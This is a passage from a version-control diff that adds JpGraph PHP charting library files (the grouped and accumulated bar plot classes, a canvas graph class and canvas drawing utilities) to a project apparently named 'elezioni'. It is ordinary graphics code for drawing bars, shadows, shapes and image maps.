+	    elseif( $this->valuepos=='bottom' || $this->valuepos=='min' ) {
+		$y=$pts[1];
+		if( $img->a === 90 ) {
+		    if( $val < 0 )
+			$this->value->SetAlign('right','center');
+		    else
+			$this->value->SetAlign('left','center');		    		    
+		}
+		$this->value->SetMargin(3);
+		$this->value->Stroke($img,$val,$x,$y);
+	    }
+	    else {
+		JpGraphError::RaiseL(2006,$this->valuepos);
+		//'Unknown position for values on bars :'.$this->valuepos);
+	    }
+	    // Create the client side image map
+	    $rpts = $img->ArrRotate($pts);		
+	    $csimcoord=round($rpts[0]).", ".round($rpts[1]);
+	    for( $j=1; $j < 4; ++$j){
+		$csimcoord .= ", ".round($rpts[2*$j]).", ".round($rpts[2*$j+1]);
+	    }	    	    
+	    if( !empty($this->csimtargets[$i]) ) {
+		$this->csimareas .= '<area shape="poly" coords="'.$csimcoord.'" ';    	    
+		$this->csimareas .= " href=\"".htmlentities($this->csimtargets[$i])."\"";
+
+		if( !empty($this->csimwintargets[$i]) ) {
+		    $this->csimareas .= " target=\"".$this->csimwintargets[$i]."\" ";
+		}
+
+		$sval='';
+		if( !empty($this->csimalts[$i]) ) {
+		    $sval=sprintf($this->csimalts[$i],$this->coords[0][$i]);
+		    $this->csimareas .= " title=\"$sval\" alt=\"$sval\" ";
+		}
+		$this->csimareas .= " />\n";
+	    }
+	}
+	return true;
+    }
+} // Class
+
+//===================================================
+// CLASS GroupBarPlot
+// Description: Produce grouped bar plots
+//===================================================
+class GroupBarPlot extends BarPlot {
+    private $plots, $nbrplots=0;
+//---------------
+// CONSTRUCTOR
+    function GroupBarPlot($plots) {
+	$this->width=0.7;
+	$this->plots = $plots;
+	$this->nbrplots = count($plots);
+	if( $this->nbrplots < 1 ) {
+	    JpGraphError::RaiseL(2007);//('Cannot create GroupBarPlot from empty plot array.');
+	}
+	for($i=0; $i < $this->nbrplots; ++$i ) {
+	    if( empty($this->plots[$i]) || !isset($this->plots[$i]) ) {
+		JpGraphError::RaiseL(2008,$i);//("Group bar plot element nbr $i is undefined or empty.");
+	    }
+	}
+	$this->numpoints = $plots[0]->numpoints;
+	$this->width=0.7;
+    }
+
+//---------------
+// PUBLIC METHODS	
+    function Legend($graph) {
+	$n = count($this->plots);
+	for($i=0; $i < $n; ++$i) {
+	    $c = get_class($this->plots[$i]);
+	    if( !($this->plots[$i] instanceof BarPlot) ) {
+		JpGraphError::RaiseL(2009,$c);
+//('One of the objects submitted to GroupBar is not a BarPlot. Make sure that you create the Group Bar plot from an array of BarPlot or AccBarPlot objects. (Class = '.$c.')');
+	    }
+	    $this->plots[$i]->DoLegend($graph);
+	}
+    }
+	
+    function Min() {
+	list($xmin,$ymin) = $this->plots[0]->Min();
+	$n = count($this->plots);
+	for($i=0; $i < $n; ++$i) {
+	    list($xm,$ym) = $this->plots[$i]->Min();
+	    $xmin = max($xmin,$xm);
+	    $ymin = min($ymin,$ym);
+	}
+	return array($xmin,$ymin);		
+    }
+	
+    function Max() {
+	list($xmax,$ymax) = $this->plots[0]->Max();
+	$n = count($this->plots);
+	for($i=0; $i < $n; ++$i) {
+	    list($xm,$ym) = $this->plots[$i]->Max();
+	    $xmax = max($xmax,$xm);
+	    $ymax = max($ymax,$ym);
+	}
+	return array($xmax,$ymax);
+    }
+	
+    function GetCSIMareas() {
+	$n = count($this->plots);
+	$csimareas='';
+	for($i=0; $i < $n; ++$i) {
+	    $csimareas .= $this->plots[$i]->csimareas;
+	}
+	return $csimareas;
+    }
+	
+    // Stroke all the bars next to each other
+    function Stroke($img,$xscale,$yscale) { 
+	$tmp=$xscale->off;
+	$n = count($this->plots);
+	$subwidth = $this->width/$this->nbrplots ; 
+
+	for( $i=0; $i < $n; ++$i ) {
+	    $this->plots[$i]->ymin=$this->ybase;
+	    $this->plots[$i]->SetWidth($subwidth);
+	    
+	    // If the client have used SetTextTickInterval() then
+	    // major_step will be > 1 and the positioning will fail.
+	    // If we assume it is always one the positioning will work
+	    // fine with a text scale but this will not work with
+	    // arbitrary linear scale
+	    $xscale->off = $tmp+$i*round($xscale->scale_factor* $subwidth);
+	    $this->plots[$i]->Stroke($img,$xscale,$yscale);
+	}
+	$xscale->off=$tmp;
+    }
+} // Class
+
+//===================================================
+// CLASS AccBarPlot
+// Description: Produce accumulated bar plots
+//===================================================
+class AccBarPlot extends BarPlot {
+    private $plots=null,$nbrplots=0;
+//---------------
+// CONSTRUCTOR
+    function AccBarPlot($plots) {
+	$this->plots = $plots;
+	$this->nbrplots = count($plots);
+	if( $this->nbrplots < 1 ) {
+	    JpGraphError::RaiseL(2010);//('Cannot create AccBarPlot from empty plot array.');
+	}
+	for($i=0; $i < $this->nbrplots; ++$i ) {
+	    if( empty($this->plots[$i]) || !isset($this->plots[$i]) ) {
+		JpGraphError::RaiseL(2011,$i);//("Acc bar plot element nbr $i is undefined or empty.");
+	    }
+	}
+
+// We can only allow individual plost which do not have specified X-positions
+	for($i=0; $i < $this->nbrplots; ++$i ) {
+	    if( !empty($this->plots[$i]->coords[1]) ) {
+		JpGraphError::RaiseL(2015);
+		//'Individual bar plots in an AccBarPlot or GroupBarPlot can not have specified X-positions.');
+	    }
+	}
+	
+	$this->numpoints = $plots[0]->numpoints;		
+	$this->value = new DisplayValue();
+    }
+
+//---------------
+// PUBLIC METHODS	
+    function Legend($graph) {
+	$n = count($this->plots);
+	for( $i=$n-1; $i >= 0; --$i ) {
+	    $c = get_class($this->plots[$i]);
+	    if( !($this->plots[$i] instanceof BarPlot) ) {
+		JpGraphError::RaiseL(2012,$c);
+//('One of the objects submitted to AccBar is not a BarPlot. Make sure that you create the AccBar plot from an array of BarPlot objects.(Class='.$c.')');
+	    }	    
+	    $this->plots[$i]->DoLegend($graph);
+	}
+    }
+
+    function Max() {
+	list($xmax) = $this->plots[0]->Max();
+	$nmax=0;
+	for($i=0; $i < count($this->plots); ++$i) {
+	    $n = count($this->plots[$i]->coords[0]);
+	    $nmax = max($nmax,$n);
+	    list($x) = $this->plots[$i]->Max();
+	    $xmax = max($xmax,$x);
+	}
+	for( $i = 0; $i < $nmax; $i++ ) {
+	    // Get y-value for bar $i by adding the
+	    // individual bars from all the plots added.
+	    // It would be wrong to just add the
+	    // individual plots max y-value since that
+	    // would in most cases give to large y-value.
+	    $y=0;
+	    if( !isset($this->plots[0]->coords[0][$i]) ) {
+		JpGraphError::RaiseL(2014);
+	    }
+	    if( $this->plots[0]->coords[0][$i] > 0 )
+		$y=$this->plots[0]->coords[0][$i];
+	    for( $j = 1; $j < $this->nbrplots; $j++ ) {
+		if( !isset($this->plots[$j]->coords[0][$i]) ) {
+		    JpGraphError::RaiseL(2014);
+		}
+		if( $this->plots[$j]->coords[0][$i] > 0 )
+		    $y += $this->plots[$j]->coords[0][$i];
+	    }
+	    $ymax[$i] = $y;
+	}
+	$ymax = max($ymax);
+
+	// Bar always start at baseline
+	if( $ymax <= $this->ybase ) 
+	    $ymax = $this->ybase;
+	return array($xmax,$ymax);
+    }
+
+    function Min() {
+	$nmax=0;
+	list($xmin,$ysetmin) = $this->plots[0]->Min();
+	for($i=0; $i < count($this->plots); ++$i) {
+	    $n = count($this->plots[$i]->coords[0]);
+	    $nmax = max($nmax,$n);
+	    list($x,$y) = $this->plots[$i]->Min();
+	    $xmin = Min($xmin,$x);
+	    $ysetmin = Min($y,$ysetmin);
+	}
+	for( $i = 0; $i < $nmax; $i++ ) {
+	    // Get y-value for bar $i by adding the
+	    // individual bars from all the plots added.
+	    // It would be wrong to just add the
+	    // individual plots max y-value since that
+	    // would in most cases give to large y-value.
+	    $y=0;
+	    if( $this->plots[0]->coords[0][$i] < 0 )
+		$y=$this->plots[0]->coords[0][$i];
+	    for( $j = 1; $j < $this->nbrplots; $j++ ) {
+		if( $this->plots[$j]->coords[0][$i] < 0 )
+		    $y += $this->plots[ $j ]->coords[0][$i];
+	    }
+	    $ymin[$i] = $y;
+	}
+	$ymin = Min($ysetmin,Min($ymin));
+	// Bar always start at baseline
+	if( $ymin >= $this->ybase )
+	    $ymin = $this->ybase;
+	return array($xmin,$ymin);
+    }
+
+    // Stroke acc bar plot
+    function Stroke($img,$xscale,$yscale) {
+	$pattern=NULL;
+	$img->SetLineWeight($this->weight);
+	for($i=0; $i < $this->numpoints-1; $i++) {
+	    $accy = 0;
+	    $accy_neg = 0; 
+	    for($j=0; $j < $this->nbrplots; ++$j ) {				
+		$img->SetColor($this->plots[$j]->color);
+
+		if ( $this->plots[$j]->coords[0][$i] >= 0) {
+		    $yt=$yscale->Translate($this->plots[$j]->coords[0][$i]+$accy);
+		    $accyt=$yscale->Translate($accy);
+		    $accy+=$this->plots[$j]->coords[0][$i];
+		}
+		else {
+		    //if ( $this->plots[$j]->coords[0][$i] < 0 || $accy_neg < 0 ) {
+		    $yt=$yscale->Translate($this->plots[$j]->coords[0][$i]+$accy_neg);
+		    $accyt=$yscale->Translate($accy_neg);
+		    $accy_neg+=$this->plots[$j]->coords[0][$i];
+		}				
+				
+		$xt=$xscale->Translate($i);
+
+		if( $this->abswidth > -1 )
+		    $abswidth=$this->abswidth;
+		else
+		    $abswidth=round($this->width*$xscale->scale_factor,0);
+		
+		$pts=array($xt,$accyt,$xt,$yt,$xt+$abswidth,$yt,$xt+$abswidth,$accyt);
+
+		if( $this->bar_shadow ) {
+		    $ssh = $this->bar_shadow_hsize;
+		    $ssv = $this->bar_shadow_vsize;
+		    
+		    // We must also differ if we are a positive or negative bar. 
+		    if( $j === 0 ) {
+			// This gets extra complicated since we have to
+			// see all plots to see if we are negative. It could
+			// for example be that all plots are 0 until the very
+			// last one. We therefore need to save the initial setup
+			// for both the negative and positive case
+
+			// In case the final bar is positive
+			$sp[0]=$pts[6]+1; $sp[1]=$pts[7];
+			$sp[2]=$pts[6]+$ssh; $sp[3]=$pts[7]-$ssv;
+
+			// In case the final bar is negative
+			$nsp[0]=$pts[0]; $nsp[1]=$pts[1];
+			$nsp[2]=$pts[0]+$ssh; $nsp[3]=$pts[1]-$ssv;
+			$nsp[4]=$pts[6]+$ssh; $nsp[5]=$pts[7]-$ssv;
+			$nsp[10]=$pts[6]+1; $nsp[11]=$pts[7];
+		    }
+
+		    if( $j === $this->nbrplots-1 ) {
+			// If this is the last plot of the bar and
+			// the total value is larger than 0 then we
+			// add the shadow.
+			if( is_array($this->bar_shadow_color) ) {
+			    $numcolors = count($this->bar_shadow_color);
+			    if( $numcolors == 0 ) {
+				JpGraphError::RaiseL(2013);//('You have specified an empty array for shadow colors in the bar plot.');
+			    }
+			    $img->PushColor($this->bar_shadow_color[$i % $numcolors]);
+			}
+			else {
+			    $img->PushColor($this->bar_shadow_color);
+			}
+
+			if( $accy > 0 ) {
+			    $sp[4]=$pts[4]+$ssh; $sp[5]=$pts[5]-$ssv;
+			    $sp[6]=$pts[2]+$ssh; $sp[7]=$pts[3]-$ssv;
+			    $sp[8]=$pts[2]; $sp[9]=$pts[3]-1;
+			    $sp[10]=$pts[4]+1; $sp[11]=$pts[5];
+			    $img->FilledPolygon($sp,4);
+			}
+			elseif( $accy_neg < 0 ) {
+			    $nsp[6]=$pts[4]+$ssh; $nsp[7]=$pts[5]-$ssv;
+			    $nsp[8]=$pts[4]+1; $nsp[9]=$pts[5];
+			    $img->FilledPolygon($nsp,4);
+			}
+			$img->PopColor();
+		    }
+		}
+
+
+		// If value is NULL or 0, then don't draw a bar at all
+		if ($this->plots[$j]->coords[0][$i] == 0 ) continue;
+
+		if( $this->plots[$j]->grad ) {
+		    $grad = new Gradient($img);
+		    $grad->FilledRectangle(
+			$pts[2],$pts[3],
+			$pts[6],$pts[7],
+			$this->plots[$j]->grad_fromcolor,
+			$this->plots[$j]->grad_tocolor,
+			$this->plots[$j]->grad_style);				
+		} else {
+		    if (is_array($this->plots[$j]->fill_color) ) {
+			$numcolors = count($this->plots[$j]->fill_color);
+			$fillcolor = $this->plots[$j]->fill_color[$i % $numcolors];
+			// If the bar is specified to be non filled then the fill color is false
+			if( $fillcolor !== false ) 
+			    $img->SetColor($this->plots[$j]->fill_color[$i % $numcolors]);
+		    }
+		    else {
+			$fillcolor = $this->plots[$j]->fill_color;
+			if( $fillcolor !== false ) 
+			    $img->SetColor($this->plots[$j]->fill_color);
+		    }
+		    if( $fillcolor !== false )
+			$img->FilledPolygon($pts);
+		    $img->SetColor($this->plots[$j]->color);
+		}				  
+
+		// Stroke the pattern
+		if( $this->plots[$j]->iPattern > -1 ) {
+		    if( $pattern===NULL ) 
+			$pattern = new RectPatternFactory();
+		
+		    $prect = $pattern->Create($this->plots[$j]->iPattern,$this->plots[$j]->iPatternColor,1);
+		    $prect->SetDensity($this->plots[$j]->iPatternDensity);
+		    if( $this->plots[$j]->coords[0][$i] < 0 ) {
+			$rx = $pts[0];
+			$ry = $pts[1];
+		    }
+		    else {
+			$rx = $pts[2];
+			$ry = $pts[3];
+		    }
+		    $width = abs($pts[4]-$pts[0])+1;
+		    $height = abs($pts[1]-$pts[3])+1;
+		    $prect->SetPos(new Rectangle($rx,$ry,$width,$height));
+		    $prect->Stroke($img);
+		}
+
+
+		// CSIM array
+
+		if( $i < count($this->plots[$j]->csimtargets) ) {
+		    // Create the client side image map
+		    $rpts = $img->ArrRotate($pts);		
+		    $csimcoord=round($rpts[0]).", ".round($rpts[1]);
+		    for( $k=1; $k < 4; ++$k){
+			$csimcoord .= ", ".round($rpts[2*$k]).", ".round($rpts[2*$k+1]);
+		    }	    	    
+		    if( ! empty($this->plots[$j]->csimtargets[$i]) ) {
+			$this->csimareas.= '<area shape="poly" coords="'.$csimcoord.'" '; 
+			$this->csimareas.= " href=\"".$this->plots[$j]->csimtargets[$i]."\" ";
+
+			if( ! empty($this->plots[$j]->csimwintargets[$i]) ) {
+			    $this->csimareas.= " target=\"".$this->plots[$j]->csimwintargets[$i]."\" ";
+			}
+
+			$sval='';
+			if( !empty($this->plots[$j]->csimalts[$i]) ) {
+			    $sval=sprintf($this->plots[$j]->csimalts[$i],$this->plots[$j]->coords[0][$i]);
+			    $this->csimareas .= " title=\"$sval\" ";
+			}
+			$this->csimareas .= " alt=\"$sval\" />\n";				
+		    }
+		}
+
+		$pts[] = $pts[0];
+		$pts[] = $pts[1];
+		$img->SetLineWeight($this->plots[$j]->line_weight);
+		$img->Polygon($pts);
+		$img->SetLineWeight(1);
+	    }
+		
+	    // Draw labels for each acc.bar
+	
+	    $x=$pts[2]+($pts[4]-$pts[2])/2;
+	    if($this->bar_shadow) $x += $ssh;
+
+	    // First stroke the accumulated value for the entire bar
+	    // This value is always placed at the top/bottom of the bars
+	    if( $accy_neg < 0 ) {
+		$y=$yscale->Translate($accy_neg);			
+		$this->value->Stroke($img,$accy_neg,$x,$y);
+	    }
+	    else {
+		$y=$yscale->Translate($accy);			
+		$this->value->Stroke($img,$accy,$x,$y);
+	    }
+
+	    $accy = 0;
+	    $accy_neg = 0; 
+	    for($j=0; $j < $this->nbrplots; ++$j ) {	
+
+		// We don't print 0 values in an accumulated bar plot
+		if( $this->plots[$j]->coords[0][$i] == 0 ) continue;
+			
+		if ($this->plots[$j]->coords[0][$i] > 0) {
+		    $yt=$yscale->Translate($this->plots[$j]->coords[0][$i]+$accy);
+		    $accyt=$yscale->Translate($accy);
+		    if(  $this->plots[$j]->valuepos=='center' ) {
+			$y = $accyt-($accyt-$yt)/2;
+		    }
+		    elseif( $this->plots[$j]->valuepos=='bottom' ) {
+			$y = $accyt;
+		    }
+		    else { // top or max
+			$y = $accyt-($accyt-$yt);
+		    }
+		    $accy+=$this->plots[$j]->coords[0][$i];
+		    if(  $this->plots[$j]->valuepos=='center' ) {
+			$this->plots[$j]->value->SetAlign("center","center");
+			$this->plots[$j]->value->SetMargin(0);
+		    }
+		    elseif( $this->plots[$j]->valuepos=='bottom' ) {
+			$this->plots[$j]->value->SetAlign('center','bottom');
+			$this->plots[$j]->value->SetMargin(2);
+		    }
+		    else {
+			$this->plots[$j]->value->SetAlign('center','top');
+			$this->plots[$j]->value->SetMargin(1);
+		    }
+		} else {
+		    $yt=$yscale->Translate($this->plots[$j]->coords[0][$i]+$accy_neg);
+		    $accyt=$yscale->Translate($accy_neg);
+		    $accy_neg+=$this->plots[$j]->coords[0][$i];
+		    if(  $this->plots[$j]->valuepos=='center' ) {
+			$y = $accyt-($accyt-$yt)/2;
+		    }
+		    elseif( $this->plots[$j]->valuepos=='bottom' ) {
+			$y = $accyt;
+		    }
+		    else {
+			$y = $accyt-($accyt-$yt);
+		    }
+		    if(  $this->plots[$j]->valuepos=='center' ) {
+			$this->plots[$j]->value->SetAlign("center","center");
+			$this->plots[$j]->value->SetMargin(0);
+		    }
+		    elseif( $this->plots[$j]->valuepos=='bottom' ) {
+			$this->plots[$j]->value->SetAlign('center',$j==0 ? 'bottom':'top');
+			$this->plots[$j]->value->SetMargin(-2);
+		    }
+		    else {
+			$this->plots[$j]->value->SetAlign('center','bottom');
+			$this->plots[$j]->value->SetMargin(-1);
+		    }
+		}	
+		$this->plots[$j]->value->Stroke($img,$this->plots[$j]->coords[0][$i],$x,$y);
+	    }
+
+	}
+	return true;
+    }
+} // Class
+
+/* EOF */
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_canvas.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_canvas.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_canvas.php	(revision 44)
@@ -0,0 +1,95 @@
+<?php
+/*=======================================================================
+// File: 	JPGRAPH_CANVAS.PHP
+// Description:	Canvas drawing extension for JpGraph
+// Created: 	2001-01-08
+// Ver:		$Id: jpgraph_canvas.php 781 2006-10-08 08:07:47Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+*/
+
+//===================================================
+// CLASS CanvasGraph
+// Description: Creates a simple canvas graph which
+// might be used together with the basic Image drawing
+// primitives. Useful to auickoly produce some arbitrary
+// graphic which benefits from all the functionality in the
+// graph liek caching for example. 
+//===================================================
+class CanvasGraph extends Graph {
+//---------------
+// CONSTRUCTOR
+    function CanvasGraph($aWidth=300,$aHeight=200,$aCachedName="",$timeout=0,$inline=1) {
+	$this->Graph($aWidth,$aHeight,$aCachedName,$timeout,$inline);
+    }
+
+//---------------
+// PUBLIC METHODS	
+
+    function InitFrame() {
+	$this->StrokePlotArea();
+    }
+
+    // Method description
+    function Stroke($aStrokeFileName="") {
+	if( $this->texts != null ) {
+	    for($i=0; $i < count($this->texts); ++$i) {
+		$this->texts[$i]->Stroke($this->img);
+	    }
+	}		
+	if( $this->iTables !== null ) {
+	    for($i=0; $i < count($this->iTables); ++$i) {
+		$this->iTables[$i]->Stroke($this->img);
+	    }   
+	}
+	$this->StrokeTitles();
+
+	// If the filename is the predefined value = '_csim_special_'
+	// we assume that the call to stroke only needs to do enough
+	// to correctly generate the CSIM maps.
+	// We use this variable to skip things we don't strictly need
+	// to do to generate the image map to improve performance
+	// a best we can. Therefor you will see a lot of tests !$_csim in the
+	// code below.
+	$_csim = ($aStrokeFileName===_CSIM_SPECIALFILE);
+
+	// We need to know if we have stroked the plot in the
+	// GetCSIMareas. Otherwise the CSIM hasn't been generated
+	// and in the case of GetCSIM called before stroke to generate
+	// CSIM without storing an image to disk GetCSIM must call Stroke.
+	$this->iHasStroked = true;
+
+	if( !$_csim ) {
+
+	    // Should we do any final image transformation
+	    if( $this->iImgTrans ) {
+		if( !class_exists('ImgTrans') ) {
+		    require_once('jpgraph_imgtrans.php');
+		}
+		
+		$tform = new ImgTrans($this->img->img);
+		$this->img->img = $tform->Skew3D($this->iImgTransHorizon,$this->iImgTransSkewDist,
+						 $this->iImgTransDirection,$this->iImgTransHighQ,
+						 $this->iImgTransMinSize,$this->iImgTransFillColor,
+						 $this->iImgTransBorder);
+	    }
+	
+
+	    // If the filename is given as the special _IMG_HANDLER
+	    // then the image handler is returned and the image is NOT
+	    // streamed back
+	    if( $aStrokeFileName == _IMG_HANDLER ) {
+		return $this->img->img;
+	    }
+	    else {
+		// Finally stream the generated picture					
+		$this->cache->PutAndStream($this->img,$this->cache_name,$this->inline,$aStrokeFileName);
+		return true;
+	    }
+	}
+    }
+} // Class
+
+/* EOF */
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_canvtools.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_canvtools.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_canvtools.php	(revision 44)
@@ -0,0 +1,515 @@
+<?php
+/*=======================================================================
+// File: 	JPGRAPH_CANVTOOLS.PHP
+// Description:	Some utilities for text and shape drawing on a canvas
+// Created: 	2002-08-23
+// Ver:		$Id: jpgraph_canvtools.php 1091 2009-01-18 22:57:40Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+*/
+
+define('CORNER_TOPLEFT',0);
+define('CORNER_TOPRIGHT',1);
+define('CORNER_BOTTOMRIGHT',2);
+define('CORNER_BOTTOMLEFT',3);
+
+
+//===================================================
+// CLASS CanvasScale
+// Description: Define a scale for canvas so we
+// can abstract away with absolute pixels
+//===================================================
+ 
+class CanvasScale {
+    private $g;
+    private $w,$h;
+    private $ixmin=0,$ixmax=10,$iymin=0,$iymax=10;
+
+    function CanvasScale($graph,$xmin=0,$xmax=10,$ymin=0,$ymax=10) {
+	$this->g = $graph;
+	$this->w = $graph->img->width;
+	$this->h = $graph->img->height;
+	$this->ixmin = $xmin;
+	$this->ixmax = $xmax;
+	$this->iymin = $ymin;
+	$this->iymax = $ymax;
+    }
+    
+    function Set($xmin=0,$xmax=10,$ymin=0,$ymax=10) {
+	$this->ixmin = $xmin;
+	$this->ixmax = $xmax;
+	$this->iymin = $ymin;
+	$this->iymax = $ymax;
+    }
+
+    function Translate($x,$y) {
+	$xp = round(($x-$this->ixmin)/($this->ixmax - $this->ixmin) * $this->w);
+	$yp = round(($y-$this->iymin)/($this->iymax - $this->iymin) * $this->h);
+	return array($xp,$yp);
+    }
+
+    function TranslateX($x) {
+	$xp = round(($x-$this->ixmin)/($this->ixmax - $this->ixmin) * $this->w);
+	return $xp;
+    }
+
+    function TranslateY($y) {
+	$yp = round(($y-$this->iymin)/($this->iymax - $this->iymin) * $this->h);
+	return $yp;
+    }
+
+}
+
+
+//===================================================
+// CLASS Shape
+// Description: Methods to draw shapes on canvas
+//===================================================
+class Shape {
+    private $img,$scale;
+
+    function Shape($aGraph,$scale) {
+	$this->img = $aGraph->img;
+	$this->img->SetColor('black');
+	$this->scale = $scale;
+    }
+
+    function SetColor($aColor) {
+	$this->img->SetColor($aColor);
+    }
+
+    function Line($x1,$y1,$x2,$y2) {
+	list($x1,$y1) = $this->scale->Translate($x1,$y1);
+	list($x2,$y2) = $this->scale->Translate($x2,$y2);
+	$this->img->Line($x1,$y1,$x2,$y2);
+    }
+
+    function Polygon($p,$aClosed=false) {
+	$n=count($p);
+	for($i=0; $i < $n; $i+=2 ) {
+	   $p[$i]   = $this->scale->TranslateX($p[$i]);
+	   $p[$i+1] = $this->scale->TranslateY($p[$i+1]);
+	}
+	$this->img->Polygon($p,$aClosed);
+    }
+
+    function FilledPolygon($p) {
+	$n=count($p);
+	for($i=0; $i < $n; $i+=2 ) {
+	   $p[$i]   = $this->scale->TranslateX($p[$i]);
+	   $p[$i+1] = $this->scale->TranslateY($p[$i+1]);
+	}
+	$this->img->FilledPolygon($p);
+    }
+    
+
+    // Draw a bezier curve with defining points in the $aPnts array
+    // using $aSteps steps.
+    // 0=x0, 1=y0
+    // 2=x1, 3=y1
+    // 4=x2, 5=y2
+    // 6=x3, 7=y3
+    function Bezier($p,$aSteps=40) {
+	$x0 = $p[0];
+	$y0 = $p[1];
+	// Calculate coefficients
+	$cx = 3*($p[2]-$p[0]);
+	$bx = 3*($p[4]-$p[2])-$cx;
+	$ax = $p[6]-$p[0]-$cx-$bx;
+	$cy = 3*($p[3]-$p[1]);
+	$by = 3*($p[5]-$p[3])-$cy;
+	$ay = $p[7]-$p[1]-$cy-$by;
+
+	// Step size
+	$delta = 1.0/$aSteps;
+
+	$x_old = $x0;
+	$y_old = $y0;
+	for($t=$delta; $t<=1.0; $t+=$delta) {
+	    $tt = $t*$t; $ttt=$tt*$t;
+	    $x  = $ax*$ttt + $bx*$tt + $cx*$t + $x0;
+	    $y = $ay*$ttt + $by*$tt + $cy*$t + $y0;
+	    $this->Line($x_old,$y_old,$x,$y);
+	    $x_old = $x;
+	    $y_old = $y;
+	}
+	$this->Line($x_old,$y_old,$p[6],$p[7]);
+    }
+
+    function Rectangle($x1,$y1,$x2,$y2) {
+	list($x1,$y1) = $this->scale->Translate($x1,$y1);
+	list($x2,$y2)   = $this->scale->Translate($x2,$y2);
+	$this->img->Rectangle($x1,$y1,$x2,$y2);
+    }
+
+    function FilledRectangle($x1,$y1,$x2,$y2) {
+	list($x1,$y1) = $this->scale->Translate($x1,$y1);
+	list($x2,$y2)   = $this->scale->Translate($x2,$y2);
+	$this->img->FilledRectangle($x1,$y1,$x2,$y2);
+    }
+    
+    function Circle($x1,$y1,$r) {
+	list($x1,$y1) = $this->scale->Translate($x1,$y1);
+	if( $r >= 0 )
+	    $r   = $this->scale->TranslateX($r);
+	else
+	    $r = -$r;
+	$this->img->Circle($x1,$y1,$r);
+    }
+
+    function FilledCircle($x1,$y1,$r) {
+	list($x1,$y1) = $this->scale->Translate($x1,$y1);
+	if( $r >= 0 )
+	    $r   = $this->scale->TranslateX($r);
+	else
+	    $r = -$r;
+	$this->img->FilledCircle($x1,$y1,$r);
+    }
+
+    function RoundedRectangle($x1,$y1,$x2,$y2,$r=null) {    
+	list($x1,$y1) = $this->scale->Translate($x1,$y1);
+	list($x2,$y2)   = $this->scale->Translate($x2,$y2);
+
+	if( $r == null )
+	    $r = 5;
+	elseif( $r >= 0 )
+	    $r = $this->scale->TranslateX($r);
+	else
+	    $r = -$r;
+	$this->img->RoundedRectangle($x1,$y1,$x2,$y2,$r);
+    }
+
+    function FilledRoundedRectangle($x1,$y1,$x2,$y2,$r=null) {    
+	list($x1,$y1) = $this->scale->Translate($x1,$y1);
+	list($x2,$y2)   = $this->scale->Translate($x2,$y2);
+
+	if( $r == null )
+	    $r = 5;
+	elseif( $r > 0 )
+	    $r = $this->scale->TranslateX($r);
+	else
+	    $r = -$r;
+	$this->img->FilledRoundedRectangle($x1,$y1,$x2,$y2,$r);    
+    }
+
+    function ShadowRectangle($x1,$y1,$x2,$y2,$fcolor=false,$shadow_width=null,$shadow_color=array(102,102,102)) {
+	list($x1,$y1) = $this->scale->Translate($x1,$y1);
+	list($x2,$y2) = $this->scale->Translate($x2,$y2);
+	if( $shadow_width == null ) 
+	    $shadow_width=4;
+	else
+	    $shadow_width=$this->scale->TranslateX($shadow_width);
+	$this->img->ShadowRectangle($x1,$y1,$x2,$y2,$fcolor,$shadow_width,$shadow_color);
+    }
+
+    function SetTextAlign($halign,$valign="bottom") {
+	$this->img->SetTextAlign($halign,$valign="bottom");
+    }
+
+    function StrokeText($x1,$y1,$txt,$dir=0,$paragraph_align="left") {
+	list($x1,$y1) = $this->scale->Translate($x1,$y1);
+	$this->img->StrokeText($x1,$y1,$txt,$dir,$paragraph_align);
+    }
+
+    // A rounded rectangle where one of the corner has been moved "into" the
+    // rectangle 'iw' width and 'ih' height. Corners:
+    // 0=Top left, 1=top right, 2=bottom right, 3=bottom left
+    function IndentedRectangle($xt,$yt,$w,$h,$iw=0,$ih=0,$aCorner=3,$aFillColor="",$r=4) {
+    
+	list($xt,$yt) = $this->scale->Translate($xt,$yt);
+	list($w,$h)   = $this->scale->Translate($w,$h);
+	list($iw,$ih) = $this->scale->Translate($iw,$ih);
+	
+	$xr = $xt + $w - 0;
+	$yl = $yt + $h - 0;
+
+	switch( $aCorner ) {
+	    case 0: // Upper left
+	    
+		// Bottom line, left &  right arc
+		$this->img->Line($xt+$r,$yl,$xr-$r,$yl);
+		$this->img->Arc($xt+$r,$yl-$r,$r*2,$r*2,90,180);
+		$this->img->Arc($xr-$r,$yl-$r,$r*2,$r*2,0,90);
+
+		// Right line, Top right arc
+		$this->img->Line($xr,$yt+$r,$xr,$yl-$r);
+		$this->img->Arc($xr-$r,$yt+$r,$r*2,$r*2,270,360);
+
+		// Top line, Top left arc
+		$this->img->Line($xt+$iw+$r,$yt,$xr-$r,$yt);
+		$this->img->Arc($xt+$iw+$r,$yt+$r,$r*2,$r*2,180,270);
+
+		// Left line
+		$this->img->Line($xt,$yt+$ih+$r,$xt,$yl-$r);
+
+		// Indent horizontal, Lower left arc
+		$this->img->Line($xt+$r,$yt+$ih,$xt+$iw-$r,$yt+$ih);
+		$this->img->Arc($xt+$r,$yt+$ih+$r,$r*2,$r*2,180,270);
+
+		// Indent vertical, Indent arc
+		$this->img->Line($xt+$iw,$yt+$r,$xt+$iw,$yt+$ih-$r);
+		$this->img->Arc($xt+$iw-$r,$yt+$ih-$r,$r*2,$r*2,0,90);
+
+		if( $aFillColor != '' ) {
+		    $bc = $this->img->current_color_name;
+		    $this->img->PushColor($aFillColor);
+		    $this->img->FillToBorder($xr-$r,$yl-$r,$bc);
+		    $this->img->PopColor();
+		}
+
+		break;
+
+	    case 1: // Upper right
+
+		// Bottom line, left &  right arc
+		$this->img->Line($xt+$r,$yl,$xr-$r,$yl);
+		$this->img->Arc($xt+$r,$yl-$r,$r*2,$r*2,90,180);
+		$this->img->Arc($xr-$r,$yl-$r,$r*2,$r*2,0,90);
+
+		// Left line, Top left arc
+		$this->img->Line($xt,$yt+$r,$xt,$yl-$r);
+		$this->img->Arc($xt+$r,$yt+$r,$r*2,$r*2,180,270);
+
+		// Top line, Top right arc
